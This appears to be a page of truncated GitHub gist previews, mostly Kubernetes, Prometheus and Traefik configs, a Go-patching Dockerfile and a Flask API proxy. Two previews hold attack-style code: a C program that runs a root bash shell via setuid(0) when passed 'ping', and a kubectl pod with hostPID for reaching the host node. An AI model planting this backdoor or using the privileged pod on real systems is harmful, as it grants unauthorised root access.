This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ARG GO_VERSION | |
ARG GO_IMAGE=golang:${GO_VERSION} | |
FROM $GO_IMAGE AS go | |
# We download the patch of this code: | |
# https://go-review.googlesource.com/c/go/+/353402 | |
# implement SHA1 & SHA256 acceleration using Intel SHA extensions | |
# We re-compile go to make it available in further binaries build | |
RUN apt-get update && apt-get install patch && \ | |
cd /usr/local/go && \ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
kubectl run shell --restart=Never -it --image krisnova/hack:latest \ | |
--rm --attach \ | |
--overrides \ | |
'{ | |
"spec":{ | |
"hostPID": true, | |
"containers":[{ | |
"name":"scary", | |
"image": "krisnova/hack:latest", | |
"imagePullPolicy": "Always", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import json | |
import requests | |
from flask import Flask, Response | |
EMAIL = "" | |
PASSWORD = "" | |
MOBILE_ID = "247DA355-FB45-4258-86A2-FE964DF2B1F6" # SOME UUID | |
HEADERS = { | |
"User-Agent": "Atome/1.5.3 (com.directenergie.atome; build:0.0.1; iOS 12.4.0) Alamofire/4.8.2", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <sys/types.h> | |
#include <unistd.h> | |
#include <string.h> | |
int main(int argc, char **argv) { | |
if (argc > 1 && !strcmp("ping", argv[1])) { | |
setuid(0); | |
system("/bin/bash"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
apiVersion: rbac.authorization.k8s.io/v1beta1 | |
kind: ClusterRole | |
metadata: | |
labels: | |
app: kube-eagle | |
name: kube-eagle | |
namespace: kube-eagle | |
rules: | |
- apiGroups: | |
- "" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
### Basic config with storage of the ssl certs | |
apiVersion: v1 | |
kind: ConfigMap | |
metadata: | |
name: traefik-config | |
namespace: traefik | |
data: | |
traefik.toml: | | |
# traefik.toml | |
defaultEntryPoints = ["http", "https"] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Based on https://github.com/prometheus/prometheus/blob/release-2.2/documentation/examples/prometheus-kubernetes.yml | |
serverFiles: | |
prometheus.yml: | |
remote_write: | |
- url: "https://prometheus.gra1-ovh.metrics.ovh.net/remote_write" | |
remote_timeout: 120s | |
bearer_token: $TOKEN | |
write_relabel_configs: | |
# Filter metrics to keep | |
- action: keep |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# This will configure Beamium to scrap noderig | |
# And push metrics to warp 10 | |
# We also add the HOSTNAME to the labels of the metrics pushed | |
apiVersion: v1 | |
kind: ConfigMap | |
metadata: | |
name: beamium-config | |
namespace: metrics | |
data: | |
config.yaml: | |